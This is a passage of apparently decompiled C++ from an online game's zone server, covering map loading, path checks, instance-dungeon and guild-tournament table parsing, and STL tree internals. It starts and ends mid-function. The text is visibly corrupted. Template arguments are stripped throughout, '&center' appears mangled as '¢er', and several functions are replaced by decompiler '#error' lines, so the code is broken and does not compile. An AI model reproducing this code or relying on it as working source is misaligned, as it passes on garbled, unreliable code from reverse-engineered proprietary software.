*(_BYTE *)(v3 + 154); if ( !*(_BYTE *)(v3 + 154) || v7 > 0x64 ) { v10 = 0; goto LABEL_6; } v8 = (char *)&rndbox + 32776 * v7; v9 = *((_DWORD *)v8 + 8193) & (*((_DWORD *)v8 + 8192) + 1); *((_DWORD *)v8 + 8192) = v9; v10 = v8[2 * v9]; if ( (unsigned __int8)v10 < 4u ) LABEL_6: v3 += 8 * (unsigned __int8)v10; *(_DWORD *)(pRegenCity + 86) = *(_DWORD *)(v3 + 122); *(_DWORD *)(pRegenCity + 90) = *(_DWORD *)(v3 + 126); *(_WORD *)(pRegenCity + 94) = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_GetRegenCityLinkData"); return 1; } //----- (004465E0) -------------------------------------------------------- char __thiscall FieldMap::fm_IsStraightPath(void *this, int from, int to, int (__thiscall *mbi_blockfunction)(_DWORD, _DWORD, _DWORD)) { int v4; // edi@4 int v5; // ebx@4 unsigned int v7; // eax@6 int v8; // ecx@6 bool v9; // bl@10 int v10; // [sp+4h] [bp-2Ch]@1 FunctionEntarance _; // [sp+14h] [bp-1Ch]@1 void *v12; // [sp+18h] [bp-18h]@1 SHINE_XY_TYPE center; // [sp+1Ch] [bp-14h]@6 int v14; // [sp+2Ch] [bp-4h]@1 v12 = this; _.fe_FunctionCode = "FieldMap::fm_IsStraightPath"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_IsStraightPath"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_IsStraightPath"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v14 = 0; if ( !from || !to || !mbi_blockfunction ) { --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_IsStraightPath"); return 0; } v4 = *(_DWORD *)(from + 4); v5 = *(_DWORD *)(to + 4); if ( (*(_DWORD *)from - *(_DWORD *)to) * (*(_DWORD *)from - *(_DWORD *)to) + (v4 - v5) * (v4 - v5) < 25 ) { --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_IsStraightPath"); return 1; } v7 = *(_DWORD *)to + *(_DWORD *)from; center.y = (unsigned int)(v5 + v4) >> 1; v8 = *((_DWORD *)v12 + 5); center.x = v7 >> 1; if ( (unsigned __int8)mbi_blockfunction(v8, v7 >> 1, v10) ) { v14 = -1; FunctionEntarance::_FunctionEntarance(&_); return 0; } v9 = (unsigned __int8)FieldMap::fm_IsStraightPath(v12, from, ¢er, mbi_blockfunction) && (unsigned __int8)FieldMap::fm_IsStraightPath(v12, ¢er, to, mbi_blockfunction); v14 = -1; FunctionEntarance::_FunctionEntarance(&_); return v9; } //----- (00446780) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Dec(std::_Tree,std::allocator,0> >::const_iterator *this) { int v1; // eax@1 int v2; // edx@3 int i; // eax@4 int v4; // eax@7 v1 = *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0]; if ( *(_BYTE *)(*(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] + 17) ) { *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = *(_DWORD *)(v1 + 8); } else { v2 = *(_DWORD *)v1; if ( *(_BYTE *)(*(_DWORD *)v1 + 17) ) { v4 = *(_DWORD *)(v1 + 4); if ( !*(_BYTE *)(v4 + 17) ) { do { if ( *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] != *(_DWORD *)v4 ) break; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v4; v4 = *(_DWORD *)(v4 + 4); } while ( !*(_BYTE *)(v4 + 17) ); if ( !*(_BYTE *)(v4 + 17) ) *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v4; } } else { for ( i = *(_DWORD *)(v2 + 8); !*(_BYTE *)(i + 17); i = *(_DWORD *)(i + 8) ) v2 = i; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v2; } } } //----- (004467E0) -------------------------------------------------------- int __cdecl ListFunctionCall(List *lst, PROTO_NC_MAP_REGIST_CMD *arg, int (__thiscall *func)(List *, unsigned __int16, PROTO_NC_MAP_REGIST_CMD *)) { unsigned __int16 v3; // si@1 unsigned __int16 v4; // di@2 ListStruct *v5; // ecx@3 int v6; // eax@3 unsigned __int16 v7; // dx@3 bool v8; // cf@3 int v9; // eax@4 int v10; // eax@5 int result; // eax@7 int lt; // [sp+10h] [bp-Ch]@3 v3 = lst->l_Array[lst->l_Finger.store].ls_Next; while ( 1 ) { v4 = lst->l_MaxSize; if ( v3 >= v4 ) break; v5 = lst->l_Array; v6 = v3; v7 = v3; v8 = v3 < v4; v3 = v5[v3].ls_Next; LOWORD(lt) = v7; HIWORD(lt) = v3; if ( v8 && (v9 = (int)&v5[v6], *(_BYTE *)(v9 + 8)) ) v10 = *(_DWORD *)v9; else v10 = 0; result = ((int (__thiscall *)(int, List *, int, PROTO_NC_MAP_REGIST_CMD *))func)(v10, lst, lt, arg); if ( !result ) return result; } return 1; } //----- (00446870) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { ListEraser eraser; // [sp+0h] [bp-14h]@1 int v2; // [sp+10h] [bp-4h]@1 eraser.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; eraser.le_list = this; v2 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); //----- (004468C0) -------------------------------------------------------- #error "4468C0: undefined or illegal type '#585' (funcsize=312)" //----- (00446CB0) -------------------------------------------------------- void __thiscall FieldContainer::fc_MapRegist(FieldContainer *this, WorldManagerSession *wms) { char *v2; // edi@1 char *v3; // esi@1 PROTO_NC_MAP_REGIST_CMD *v4; // ST04_4@1 int v5; // esi@1 v2 = gpp.pp_Buffer; v3 = gpp.pp_Buffer + 2; v4 = (PROTO_NC_MAP_REGIST_CMD *)(gpp.pp_Buffer + 2); *((_WORD *)gpp.pp_Buffer + 1) = 0; ListFunctionCall( &this->baseclass_0, v4, (int (__thiscall *)(List *, unsigned __int16, PROTO_NC_MAP_REGIST_CMD *))FieldMap::fm_Regist2WMS); *(_WORD *)v2 = 6159; v5 = 14 * *(_WORD *)v3 + 4; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v5) ) ProtocolPacket::pp_SendPacket(&gpp, &wms->baseclass_0); else AssertClass::ac_AssertFail(&shineassert, "FieldContainer::fc_MapRegist : Packet Too Long", v5); } //----- (00446D10) -------------------------------------------------------- void __thiscall FieldContainer::fc_MakeField(FieldContainer *this, Name4 *world, FieldOption::FieldAttr *fldtemplet, Name3 *mapid, int serial, char machine) { FieldContainer *v6; // ebx@1 int v7; // ST08_4@1 CServerInfo *v8; // eax@1 unsigned int v9; // eax@2 char *v10; // eax@2 CServerInfo::MY_SERVER *v11; // eax@2 int v12; // esi@4 CServerInfo::SERVER_INFO serverinfo; // [sp+8h] [bp-24h]@1 v6 = this; v7 = ZoneServer::zs_worlddata(&zoneserver)->nWorldNo; v8 = ZoneServer::zs_mechineinfo(&zoneserver); if ( CServerInfo::GetServerInfo(v8, &serverinfo, 6, v7, (unsigned __int8)machine) ) { ZoneIPContainer::zipc_Store(&zipc, (unsigned __int8)machine, serverinfo.pIP, LOWORD(serverinfo.nPort)); v9 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v9; v10 = (char *)&namestring + 256 * v9; *(_QWORD *)v10 = *(_QWORD *)&mapid->n3_name[0]; *((_DWORD *)v10 + 2) = *(_DWORD *)&mapid->n3_name[8]; v10[12] = 0; BTree::bt_Insert(&fieldserial, v10, serial); v11 = ZoneServer::zs_worlddata(&zoneserver); if ( machine == v11->nZoneNo ) { LOWORD(v11) = v6->baseclass_0.l_Finger.empty; if ( (_WORD)v11 == -1 ) v12 = 0; else v12 = (int)v6->baseclass_0.vfptr->l_AllocZ((List *)v6, (unsigned __int16)v11); if ( !v12 ) { AssertClass::ac_AssertFail(&shineassert, "Too many map", 0); ShineExit("FieldContainer::fc_MakeField"); } FieldMap::fm_Init(v12, fldtemplet, world, mapid); FieldOption::fo_Store(&v6->fc_FieldOption, fldtemplet); } } } // 4468C0: using guessed type int __thiscall FieldMap__fm_Init(_DWORD, _DWORD, _DWORD, _DWORD); //----- (00446E20) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Erase(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode) { void *v2; // edi@1 std::_Tree,std::allocator,0> > *v3; // ebx@1 std::_Tree_nod,std::allocator,0> >::_Node *i; // esi@1 v2 = _Rootnode; v3 = this; for ( i = _Rootnode; !i->_Isnil; v2 = i ) { std::_Tree_std::allocator_0>>::_Erase( v3, i->_Right); i = i->_Left; operator delete(v2); } } //----- (00446E60) -------------------------------------------------------- #error "446E60: undefined or illegal type '#585' (funcsize=88)" //----- (00446F80) -------------------------------------------------------- void __thiscall FieldContainer::fc_Load(FieldContainer *this, Name4 *world) { FieldContainer *v2; // edi@1 unsigned int v3; // eax@1 char *v4; // eax@1 int v5; // edx@1 int v6; // ecx@1 int v7; // eax@2 int v8; // eax@5 void *v9; // eax@7 int v10; // ecx@7 int v11; // eax@7 bool v12; // zf@9 bool v13; // sf@9 void *v14; // eax@10 void *v15; // esi@10 int v16; // eax@10 int v17; // eax@13 FieldOption::GuildTournamentMapStr **v18; // eax@16 unsigned __int16 v19; // ax@17 char v20; // cl@22 int v21; // ebp@22 INSTANCE_DUNGEON::CATEGORY v22; // eax@26 int v23; // eax@35 void *v24; // eax@37 void *v25; // ebp@37 char v26; // al@41 char v27; // al@43 char v28; // al@45 int v29; // ecx@50 unsigned __int8 v30; // al@52 int v31; // eax@53 int v32; // ecx@55 CServerInfo::MY_SERVER *v33; // eax@60 signed int v34; // ecx@60 char *v35; // eax@60 int v36; // esi@60 int v37; // eax@63 char *v38; // eax@63 unsigned int v39; // eax@70 char *v40; // eax@70 char *v41; // edx@70 char v42; // cl@71 unsigned int v43; // eax@72 char *v44; // eax@72 char *v45; // edx@72 char v46; // cl@73 int v47; // eax@74 const void *v48; // edx@74 char v49; // cl@75 unsigned int v50; // eax@76 void *v51; // edi@76 char v52; // cl@77 void *v53; // edi@78 const void *v54; // esi@78 int v55; // ecx@78 int v56; // eax@78 const void *v57; // esi@78 char v58; // cl@79 unsigned int v59; // eax@80 void *v60; // edi@80 char v61; // cl@81 void *v62; // edi@82 const void *v63; // esi@82 int v64; // ecx@82 int v65; // eax@82 char v66; // cl@83 int v67; // eax@84 char v68; // cl@85 MapSubString *v69; // eax@86 char v70; // cl@87 FieldContainer *v71; // edi@89 char *v72; // eax@91 char v73; // cl@92 char *v74; // eax@94 char v75; // cl@95 int v76; // eax@101 void *v77; // eax@101 int v78; // ecx@101 int v79; // eax@101 void *v80; // ebp@104 int v81; // esi@104 int v82; // ecx@113 ORToken v83; // [sp-34h] [bp-1ECh]@63 int v84; // [sp-30h] [bp-1E8h]@63 int v85; // [sp-2Ch] [bp-1E4h]@63 ORToken v86; // [sp-28h] [bp-1E0h]@10 ORToken v87; // [sp-24h] [bp-1DCh]@5 char *v88; // [sp-20h] [bp-1D8h]@5 int v89; // [sp-1Ch] [bp-1D4h]@1 signed int v90; // [sp-18h] [bp-1D0h]@1 int v91; // [sp-14h] [bp-1CCh]@1 int i; // [sp+0h] [bp-1B8h]@9 char rst; // [sp+7h] [bp-1B1h]@2 ORToken *machine; // [sp+8h] [bp-1B0h]@5 ORToken *v95; // [sp+Ch] [bp-1ACh]@63 FieldContainer *thisa; // [sp+10h] [bp-1A8h]@1 int type; // [sp+14h] [bp-1A4h]@63 Name3 map; // [sp+18h] [bp-1A0h]@76 char mapfrom[64]; // [sp+24h] [bp-194h]@70 MapSubString mss; // [sp+64h] [bp-154h]@80 char mapto[64]; // [sp+128h] [bp-90h]@1 unsigned int cookie; // [sp+1A8h] [bp-10h]@114 int v103; // [sp+1B4h] [bp-4h]@63 v2 = this; thisa = this; v3 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v3; v4 = (char *)&namestring + 256 * v3; *(_QWORD *)v4 = *(_QWORD *)&world->n4_name[0]; v5 = *(_DWORD *)&world->n4_name[8]; v91 = (int)v4; *((_DWORD *)v4 + 2) = v5; v6 = *(_DWORD *)&world->n4_name[12]; v90 = (signed int)"../9Data/Shine/World/%s/Field.txt"; v89 = (int)mapto; *((_DWORD *)v4 + 3) = v6; v4[16] = 0; sprintf((char *)v89, (const char *)v90); if ( !OptionReader::or_Read(&v2->fc_FieldOption.baseclass_0, mapto) ) { rst = OptionReader::or_Read(&v2->fc_FieldOption.baseclass_0, "../9Data/Shine/World/Field.txt"); v7 = OptionReader::or_ErrorLine(&v2->fc_FieldOption.baseclass_0); if ( !rst ) { AssertClass::ac_AssertFail(&shineassert, "Error in read field option Field.xls", v7); ShineExit("FieldContainer::fc_Load"); } } machine = &v87; v91 = 0; v90 = 0; v89 = 0; v88 = 0; *(_DWORD *)&v87.ort_Name[0] = 0; strncpy(v87.ort_Name, "InstanceDungeon", 0x14u); v8 = OptionReader::or_SelectCountFrom(&v2->fc_FieldOption.baseclass_0, v87); v2->fc_InstanceDungeon.number = v8; if ( v8 != -1 ) { v9 = operator new__(4 * v8); v10 = v2->fc_InstanceDungeon.number; v2->fc_InstanceDungeon.attr = (FieldOption::GuildTournamentMapStr **)v9; v11 = 0; if ( v10 > 0 ) { do v2->fc_InstanceDungeon.attr[v11++] = 0; while ( v11 < v2->fc_InstanceDungeon.number ); } v12 = v2->fc_InstanceDungeon.number == 0; v13 = v2->fc_InstanceDungeon.number < 0; i = 0; if ( !(v13 | v12) ) { do { v91 = i; machine = &v86; v90 = 0; v89 = 0; v88 = 0; *(_DWORD *)&v87.ort_Name[0] = 0; *(_DWORD *)&v86.ort_Name[0] = 0; strncpy(v86.ort_Name, "InstanceDungeon", 0x14u); v14 = OptionReader::or_SelectFromOrder(&v2->fc_FieldOption.baseclass_0, v86, v91); v15 = v14; v16 = *((_BYTE *)v14 + 20); if ( v16 >= v2->fc_InstanceDungeon.number ) { AssertClass::ac_AssertFail(&shineassert, "Error in InstanceDungeonInfo : Too large IDNo", v16); ShineExit("FieldContainer::fc_Load"); } v17 = *((_BYTE *)v15 + 20); if ( v2->fc_InstanceDungeon.attr[v17] != 0 ) { AssertClass::ac_AssertFail(&shineassert, "Error in InstanceDungeonInfo : duplicate IDNo", v17); ShineExit("FieldContainer::fc_Load"); } v2->fc_InstanceDungeon.attr[*((_BYTE *)v15 + 20)] = (FieldOption::GuildTournamentMapStr *)v15; v18 = v2->fc_InstanceDungeon.attr; if ( v18[*((_BYTE *)v15 + 20)]->DoorA0.DoorBlock[20] == 45 ) { *(_WORD *)&v18[*((_BYTE *)v15 + 20)]->DoorB0.DoorBlock[11] = -1; } else { v91 = (int)&v18[*((_BYTE *)v15 + 20)]->DoorA0.DoorBlock[20]; v19 = ItemDataBox::idb_2itemid(&itemdatabox, (const char *)v91); if ( v19 == -1 ) { v91 = (int)&v2->fc_InstanceDungeon.attr[*((_BYTE *)v15 + 20)]->DoorA0.DoorBlock[20]; AssertClass::ac_AssertFail(&shineassert, "FieldContainer::fc_Load : Wrong Item ID", (const char *)v91); ShineExit("FieldContainer::fc_Load"); } *(_WORD *)&v2->fc_InstanceDungeon.attr[*((_BYTE *)v15 + 20)]->DoorB0.DoorBlock[11] = v19; } v20 = *((_BYTE *)v15 + 106); v21 = i; v12 = *((_BYTE *)v15 + 20) != v20; machine = (ORToken *)(*((_BYTE *)v15 + 20) == v20); if ( v12 ) { AssertClass::ac_AssertFail(&shineassert, "Checksum error in table InstanceDungeonInfo(Field.txt)", i); ShineExit("FieldContainer::fc_Load"); } if ( *((_BYTE *)v15 + 21) == ZoneServer::zs_worlddata(&zoneserver)->nZoneNo ) { v22 = -1; if ( *((_BYTE *)v15 + 68) ) { v22 = 1; } else { if ( *((_BYTE *)v15 + 67) ) { v22 = 0; } else { if ( *((_BYTE *)v15 + 69) ) v22 = 2; } } if ( !MapClusterManager::ClusterManager::AddInstanceDungeonCluster( &mapclustermanager, (const char *)v15 + 22, *((_BYTE *)v15 + 20), v22) ) { AssertClass::ac_AssertFail( &shineassert, "FieldContainer::fc_Load : Cannot add Instance dungeon cluster", v21); ShineExit("FieldContainer::fc_Load"); } } v23 = v2->fc_InstanceDungeon.number; i = v21 + 1; } while ( v21 + 1 < v23 ); } } else { AssertClass::ac_AssertFail(&shineassert, "Error in InstanceDungeonInfo : Cannot find Instance dungeon info", 0); } i = 0; while ( 1 ) { v91 = i; machine = &v86; v90 = 0; v89 = 0; v88 = 0; *(_DWORD *)&v87.ort_Name[0] = 0; *(_DWORD *)&v86.ort_Name[0] = 0; strncpy(v86.ort_Name, "FieldList", 0x14u); v24 = OptionReader::or_SelectFromOrder(&v2->fc_FieldOption.baseclass_0, v86, v91); v25 = v24; if ( !v24 ) break; v12 = *((_BYTE *)v24 + 21) != *((_BYTE *)v24 + 172); machine = (ORToken *)(*((_BYTE *)v24 + 21) == *((_BYTE *)v24 + 172)); if ( v12 ) { AssertClass::ac_AssertFail(&shineassert, "FieldContainer::fc_Load : checksum error - Field struct changed", 0); ShineExit("FieldContainer::fc_Load"); } v26 = *((_BYTE *)v24 + 107); if ( v26 && v26 != 1 || (v27 = *((_BYTE *)v25 + 108)) != 0 && v27 != 1 || (v28 = *((_BYTE *)v25 + 109)) != 0 && v28 != 1 ) { AssertClass::ac_AssertFail(&shineassert, "FieldContainer::fc_Load : checksum error - Field struct changed", 0); ShineExit("FieldContainer::fc_Load"); } *((_BYTE *)v25 + 154) = 0; do { v29 = (int)((char *)v25 + 8 * *((_BYTE *)v25 + 154)); if ( !*(_DWORD *)(v29 + 122) ) break; if ( !*(_DWORD *)(v29 + 126) ) break; v30 = *((_BYTE *)v25 + 154) + 1; *((_BYTE *)v25 + 154) = v30; } while ( v30 < 4u ); LOBYTE(v31) = *((_BYTE *)v25 + 154); v32 = (unsigned __int8)v31 > 0u && (unsigned __int8)v31 <= 4u; v31 = (unsigned __int8)v31; if ( !v32 ) { AssertClass::ac_AssertFail(&shineassert, "FieldContainer::fc_Load : RegenLocation Wrong", v31); ShineExit("FieldContainer::fc_Load"); } v33 = ZoneServer::zs_worlddata(&zoneserver); v34 = *((_BYTE *)v25 + 21); v91 = v33->nZoneNo; v90 = v34; v35 = ZoneServer::zs_GetServerGroup(&zoneserver); v36 = FieldOption::fo_GetMechineNumber(&::this, v35, v90, v91); machine = (ORToken *)v36; if ( v36 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "FieldContainer::fc_Load : machine number", v36); ShineExit("FieldContainer::fc_Load"); } v37 = *((_BYTE *)v25 + 21); v91 = (int)&type; v90 = 1; v89 = v37; v88 = "Serial"; v95 = &v83; *(_DWORD *)&v87.ort_Name[0] = 0; *(_DWORD *)&v86.ort_Name[0] = 0; v85 = 0; v84 = 0; *(_DWORD *)&v83.ort_Name[0] = 0; strncpy(v83.ort_Name, "FieldList", 0x14u); v103 = -1; v38 = ZoneServer::zs_GetServerGroup(&zoneserver); if ( OptionReader::or_Select(&v2->fc_FieldOption.baseclass_0, v38, v83, v88, v89, v90, (int *)v91) != 0 ) { v91 = *((_BYTE *)v25 + 21); AssertClass::ac_AssertFail(&shineassert, "FieldContainer::fc_Load : Duplicate serial", v91); ShineExit("FieldContainer::fc_Load"); } if ( *((_BYTE *)v25 + 65) != 45 ) ScenarioBookShelf::sbs_ReadNAssert(&scenarioshelf, (char *)v25 + 65); if ( *((_BYTE *)v25 + 13) == 45 ) { FieldContainer::fc_MakeField(v2, world, (FieldOption::FieldAttr *)v25, (Name3 *)v25, *((_BYTE *)v25 + 21), v36); v2 = thisa; ++i; } else { v39 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v39; v40 = (char *)&namestring + 256 * v39; *(_DWORD *)v40 = *(_DWORD *)v25; *((_DWORD *)v40 + 1) = *((_DWORD *)v25 + 1); *((_DWORD *)v40 + 2) = *((_DWORD *)v25 + 2); v40[12] = 0; v41 = (char *)(mapfrom - v40); do { v42 = *v40; v40[(_DWORD)v41] = *v40; ++v40; } while ( v42 ); v43 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v43; v44 = (char *)&namestring + 256 * v43; *(_DWORD *)v44 = *(_DWORD *)v25; *((_DWORD *)v44 + 1) = *((_DWORD *)v25 + 1); *((_DWORD *)v44 + 2) = *((_DWORD *)v25 + 2); v44[12] = 0; v45 = (char *)(mapto - v44); do { v46 = *v44; v44[(_DWORD)v45] = *v44; ++v44; } while ( v46 ); v47 = (int)((char *)v25 + 13); v48 = (char *)v25 + 13; do v49 = *(_BYTE *)v47++; while ( v49 ); v50 = v47 - (_DWORD)v48; v51 = &map.n3_name[11]; do { v52 = *((_BYTE *)v51 + 1); v51 = (char *)v51 + 1; } while ( v52 ); memcpy(v51, v48, 4 * (v50 >> 2)); v54 = (char *)v48 + 4 * (v50 >> 2); v53 = (char *)v51 + 4 * (v50 >> 2); v55 = v50 & 3; v56 = (int)((char *)v25 + 17); memcpy(v53, v54, v55); v57 = (char *)v25 + 17; do v58 = *(_BYTE *)v56++; while ( v58 ); v59 = v56 - (_DWORD)v57; v60 = (char *)&mss.mss_StrLen + 3; do { v61 = *((_BYTE *)v60 + 1); v60 = (char *)v60 + 1; } while ( v61 ); memcpy(v60, v57, 4 * (v59 >> 2)); v63 = (char *)v57 + 4 * (v59 >> 2); v62 = (char *)v60 + 4 * (v59 >> 2); v64 = v59 & 3; v65 = (int)mapfrom; memcpy(v62, v63, v64); do { v66 = *(_BYTE *)v65; *(_BYTE *)((char *)&mss - mapfrom + v65) = *(_BYTE *)v65; ++v65; } while ( v66 ); v67 = 0; do { v68 = mapto[v67]; mss.mss_To[v67++] = v68; } while ( v68 ); v69 = &mss; mss.mss_Cur[0] = 45; do { v70 = v69->mss_From[0]; v69 = (MapSubString *)((char *)v69 + 1); } while ( v70 ); mss.mss_StrLen = (char *)v69 - &mss.mss_From[1] - 1; if ( MapSubString::mss_Next(&mss) ) { v71 = thisa; do { *(_QWORD *)&map.n3_name[4] = 0i64; *(_DWORD *)&map.n3_name[0] = 0; strncpy(map.n3_name, mss.mss_Cur, 0xCu); if ( machine == (ORToken *)99 ) { v72 = mss.mss_Cur; do v73 = *v72++; while ( v73 ); if ( ZoneServer::zs_worlddata(&zoneserver)->nZoneNo != mss.mss_To[v72 - &mss.mss_Cur[1] + 63] - 48 ) continue; v74 = mss.mss_Cur; do v75 = *v74++; while ( v75 ); v91 = (unsigned __int8)(mss.mss_To[v74 - &mss.mss_Cur[1] + 63] - 48); } else { v91 = (int)machine; } v90 = *((_BYTE *)v25 + 21); FieldContainer::fc_MakeField(v71, world, (FieldOption::FieldAttr *)v25, &map, v90, v91); } while ( MapSubString::mss_Next(&mss) ); } v2 = thisa; ++i; } } v95 = &v87; v91 = 0; v90 = 0; v89 = 0; v88 = 0; *(_DWORD *)&v87.ort_Name[0] = 0; strncpy(v87.ort_Name, "GuildTournamentMap", 0x14u); v76 = OptionReader::or_SelectCountFrom(&v2->fc_FieldOption.baseclass_0, v87); v91 = 4 * v76; v2->fc_GuildTournamentMap.number = v76; v77 = operator new__(v91); v78 = v2->fc_GuildTournamentMap.number; v2->fc_GuildTournamentMap.attr = (FieldOption::GuildTournamentMapStr **)v77; v79 = 0; if ( v78 > 0 ) { do v2->fc_GuildTournamentMap.attr[v79++] = 0; while ( v79 < v2->fc_GuildTournamentMap.number ); } v12 = v2->fc_GuildTournamentMap.number == 0; v13 = v2->fc_GuildTournamentMap.number < 0; i = 0; if ( !(v13 | v12) ) { do { v91 = i; v95 = &v86; v90 = 0; v89 = 0; v88 = 0; *(_DWORD *)&v87.ort_Name[0] = 0; *(_DWORD *)&v86.ort_Name[0] = 0; strncpy(v86.ort_Name, "GuildTournamentMap", 0x14u); v80 = OptionReader::or_SelectFromOrder(&v2->fc_FieldOption.baseclass_0, v86, v91); v81 = *((_BYTE *)v80 + 13); if ( v81 >= v2->fc_GuildTournamentMap.number ) { AssertClass::ac_AssertFail(&shineassert, "Error in GuildTournamentMap : Too large GTMapNo", v81); ShineExit("FieldContainer::fc_Load"); } if ( v2->fc_GuildTournamentMap.attr[v81] != 0 ) { AssertClass::ac_AssertFail(&shineassert, "Error in GuildTournamentMap : duplicate GTMapNo", v81); ShineExit("FieldContainer::fc_Load"); } v2->fc_GuildTournamentMap.attr[v81] = (FieldOption::GuildTournamentMapStr *)v80; v12 = *((_BYTE *)v80 + 13) != *((_BYTE *)v80 + 304); v95 = (ORToken *)(*((_BYTE *)v80 + 13) == *((_BYTE *)v80 + 304)); if ( v12 ) { AssertClass::ac_AssertFail(&shineassert, "Checksum error in table GuildTournamentMap(Field.txt)", i); ShineExit("FieldContainer::fc_Load"); } v82 = v2->fc_GuildTournamentMap.number; ++i; } while ( i < v82 ); } __security_check_cookie(cookie); } //----- (004478B0) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::find(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, ABSTATEINDEX *_Keyval) { std::_Tree_nod,std::allocator,0> >::_Node *v3; // edx@1 std::_Tree_nod,std::allocator,0> >::_Node *v4; // eax@1 std::_Tree,std::allocator,0> >::iterator *v5; // eax@8 v3 = this->_Myhead; v4 = v3->_Parent; while ( !v4->_Isnil ) { if ( v4->_Myval >= *_Keyval ) { v3 = v4; v4 = v4->_Left; } else { v4 = v4->_Right; } } if ( v3 == this->_Myhead || *_Keyval < v3->_Myval ) { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = this->_Myhead; } else { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v3; } return v5; } //----- (00447920) -------------------------------------------------------- bool __thiscall FieldMap::fm_IsRefuseAbstate(std::_Tree,std::allocator,0> >::iterator this, int idx) { std::_Tree,std::allocator,0> >::iterator v2; // esi@1 bool v3; // bl@1 std::_Tree,std::allocator,0> >::iterator result; // [sp+0h] [bp-4h]@1 result = this; v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldContainer::fm_IsRefuseAbstate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldContainer::fm_IsRefuseAbstate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)&std::_Tree_std::allocator_0>>::find( (std::_Tree,std::allocator,0> > *)(*(_DWORD *)&v2 + 280), &result, (ABSTATEINDEX *)&idx)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] != *(_DWORD *)(*(_DWORD *)&v2 + 284); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldContainer::fm_IsRefuseAbstate"); return v3; } //----- (004479B0) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::_Insert(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode, ABSTATEINDEX *_Val) { std::_Tree,std::allocator,0> > *v5; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v6; // ecx@4 std::_Tree_nod,std::allocator,0> >::_Node *v7; // eax@4 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@7 std::_Tree_nod,std::allocator,0> >::_Node *v9; // eax@9 int v10; // eax@11 std::_Tree_nod,std::allocator,0> >::_Node *v11; // esi@11 int v12; // ecx@12 int v13; // ebp@12 int v14; // edx@12 std::_Tree,std::allocator,0> >::iterator *v15; // eax@24 std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@2 int v18; // [sp+4Ch] [bp-4h]@2 std::_Tree_nod,std::allocator,0> >::_Node *_Vala; // [sp+60h] [bp+10h]@4 v5 = this; if ( this->_Mysize >= 0x3FFFFFFE ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "map/set too long", 0x13u); v18 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } v6 = std::_Tree_std::allocator_0>>::_Buynode( this, this->_Myhead, _Wherenode, this->_Myhead, _Val, 0); v7 = v5->_Myhead; _Vala = v6; ++v5->_Mysize; if ( _Wherenode == v7 ) { v7->_Parent = v6; v5->_Myhead->_Left = v6; v5->_Myhead->_Right = v6; } else { if ( _Addleft ) { _Wherenode->_Left = v6; v8 = v5->_Myhead; if ( _Wherenode == v8->_Left ) v8->_Left = v6; } else { _Wherenode->_Right = v6; v9 = v5->_Myhead; if ( _Wherenode == v9->_Right ) v9->_Right = v6; } } v10 = (int)&v6->_Parent; v11 = v6; if ( !v6->_Parent->_Color ) { while ( 1 ) { v12 = *(_DWORD *)v10; v13 = *(_DWORD *)(*(_DWORD *)v10 + 4); v14 = *(_DWORD *)v13; if ( *(_DWORD *)v10 == 